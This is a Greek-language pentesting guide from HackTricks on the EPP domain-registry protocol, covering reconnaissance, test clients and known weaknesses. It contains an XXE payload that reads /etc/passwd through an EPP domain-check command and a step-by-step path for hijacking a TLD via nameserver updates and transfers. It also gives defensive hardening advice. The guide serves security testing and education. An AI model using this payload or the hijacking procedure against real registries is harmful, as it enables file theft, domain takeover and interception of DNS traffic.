700 - Pentesting EPP
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Το Extensible Provisioning Protocol (EPP) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για τη διαχείριση ονομάτων τομέα και άλλων πόρων του διαδικτύου από μητρώα και καταχωρητές ονομάτων τομέα. Διευκολύνει την αυτοματοποίηση της διαδικασίας καταχώρησης, ανανέωσης, μεταφοράς και διαγραφής ονομάτων τομέα, εξασφαλίζοντας ένα τυποποιημένο και ασφαλές πλαίσιο επικοινωνίας μεταξύ διαφορετικών οντοτήτων στο σύστημα ονομάτων τομέα (DNS). Το EPP έχει σχεδιαστεί ώστε να είναι ευέλικτο και επεκτάσιμο, επιτρέποντας την προσθήκη νέων χαρακτηριστικών και εντολών καθώς οι ανάγκες της υποδομής του διαδικτύου εξελίσσονται.
Βασικά, είναι ένα από τα πρωτόκολλα που ένας καταχωρητής TLD θα προσφέρει στους καταχωρητές ονομάτων τομέα για να καταχωρήσουν νέα ονόματα τομέα στο TLD.
Pentest
Σε αυτό το πολύ ενδιαφέρον άρθρο μπορείτε να δείτε πώς ορισμένες έρευνες ασφαλείας βρήκαν ότι πολλές υλοποιήσεις αυτού του πρωτοκόλλου ήταν ευάλωτες σε XXE (XML External Entity), καθώς αυτό το πρωτόκολλο χρησιμοποιεί XML για την επικοινωνία, γεγονός που θα επέτρεπε στους επιτιθέμενους να αναλάβουν τον έλεγχο δεκάδων διαφορετικών TLDs.
Enumeration & Recon
Οι διακομιστές EPP σχεδόν πάντα ακούνε σε TCP 700/tcp
μέσω TLS. Μια τυπική ανάπτυξη επιβάλλει επίσης mutual-TLS (mTLS), έτσι ώστε ο πελάτης να πρέπει να παρουσιάσει ένα έγκυρο πιστοποιητικό που έχει εκδοθεί από την CA του μητρώου. Παρ' όλα αυτά, πολλές ιδιωτικές δοκιμαστικές ή προπαραγωγικές αναπτύξεις ξεχνούν αυτόν τον έλεγχο:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
Αν ο διακομιστής δεν τερματίσει τη σύνδεση μετά την αλληλεπίδραση TLS, μπορείτε να προσπαθήσετε να στείλετε ένα μη αυθεντικοποιημένο <hello/>
μήνυμα:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Ανοιχτού κώδικα πελάτες χρήσιμοι για δοκιμές
- epp-client (Go) – ενεργά συντηρούμενος, υποστηρίζει TCP/TLS και EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – ελάχιστη βιβλιοθήκη πελάτη που μπορεί εύκολα να χρησιμοποιηθεί για fuzzing ή ροές εργασίας τύπου nuclei.
- afq984/php-epp-client – υλοποίηση PHP που χρησιμοποιείται από πολλούς μικρούς καταχωρητές; ένας βολικός στόχος για ανασκόπηση κώδικα.
Παράδειγμα ελάχιστου script σύνδεσης+ελέγχου με Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Κοινές Αδυναμίες & Ευπάθειες 2023-2025
Έτος | Συστατικό | CWE | Επιπτώσεις |
---|---|---|---|
2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Remote file read & SSRF μέσω κατασκευασμένου <epp> payload (patch: 2023-11-02) |
2024 | FRED EPP Server 2.x | CWE-322 Ανεπαρκής επικύρωση πιστοποιητικού TLS | Bypass του mTLS επέτρεψε μη εξουσιοδοτημένη είσοδο καταχωρητή |
2025 | Ιδιόκτητη κονσόλα καταχωρητή | CWE-306 Ελλιπής Αυθεντικοποίηση για Κρίσιμη Λειτουργία | Το endpoint έγκρισης μεταφοράς τομέα εκτέθηκε μέσω EPP-HTTP bridge |
XXE / SSRF payload (λειτουργεί κατά πολλών υλοποιήσεων Java/Spring)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Όταν ο αναλυτής είναι κακώς ρυθμισμένος (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
), το περιεχόμενο του αρχείου επιστρέφεται μέσα στη δομή <resData>
.
Άλλα τυπικά ευρήματα
- Αδύναμη πολιτική διαπιστευτηρίων – Οι κωδικοί πρόσβασης EPP είναι μικρότεροι από 8 χαρακτήρες; η βίαιη επίθεση είναι συχνά εφικτή επειδή η προδιαγραφή μόνο ΣΥΣΤΗΝΕΙ (όχι απαιτεί) περιορισμό ρυθμού.
- Απουσία κατάστασης
registryLock
/serverUpdateProhibited
– μόλις αυθεντικοποιηθούν, οι επιτιθέμενοι μπορούν αμέσως να ενημερώσουν τα αρχεία NS και να κλέψουν την κίνηση. - Μη υπογεγραμμένα μηνύματα ψηφοφορίας – ορισμένες υλοποιήσεις εξακολουθούν να μην υπογράφουν τα μηνύματα Q&A ψηφοφορίας, επιτρέποντας την παραποίηση/ψαρέμα των χειριστών μητρώου.
Διαδρομή Επίθεσης: Από το Μηδέν στην Υφαρπαγή TLD
- Ανακαλύψτε ένα EPP endpoint (συχνά κρυμμένο πίσω από έναν γενικό οικοδεσπότη όπως
ot&e.<tld>.nic.<cc>
). - Καταχρήστε μία από τις αδυναμίες παραπάνω για να αποκτήσετε διαπιστευτήρια επιπέδου μητρώου (XXE → SSRF σε IMDSv1, εξαγωγή διαπιστευτηρίων ή παράκαμψη TLS).
- Εκδώστε αιτήματα
<update>
για να αλλάξετε τα αρχείαhostObj
του τομέα σε διακομιστές ονομάτων που ελέγχονται από τον επιτιθέμενο. - (Προαιρετικά) Υποβάλετε ένα
<transfer>
για να μεταφέρετε τον τομέα σε έναν μητρώο που ελέγχεται από τον επιτιθέμενο – πολλά μητρώα εξακολουθούν να βασίζονται σε έναν μοναδικό κωδικό αυθεντικοποίησης. - Κέρδος: πλήρης έλεγχος της ζώνης DNS, ικανότητα να ζητάτε πιστοποιητικά TLS μέσω ACME.
Αμυντικά Μέτρα & Σκληραγώγηση
- Επιβάλετε mTLS με πιστοποιητικά πελάτη ανά μητρώο και κλειδώστε την CA του μητρώου.
- Ρυθμίστε
parserFeature secure-processing=true
ή ισοδύναμο για να σκοτώσετε το XXE. - Εκτελέστε συνεχή fuzzing του αναλυτή XML (π.χ., με
go-fuzz
ήjazzer
για Java). - Αναπτύξτε καταστάσεις Registry Lock / server*Prohibited για τομείς υψηλής αξίας.
- Παρακολουθήστε την ουρά
poll
για ύποπτες εντολές<transfer>
ή<update>
και ειδοποιήστε σε πραγματικό χρόνο. - Οι τροποποιήσεις της σύμβασης κατά της κακοποίησης DNS ICANN 2024 απαιτούν από τα μητρώα να αποδείξουν περιορισμούς ρυθμού και ελέγχους αυθεντικοποίησης – εκμεταλλευτείτε τους.
Αναφορές
- ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
- HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.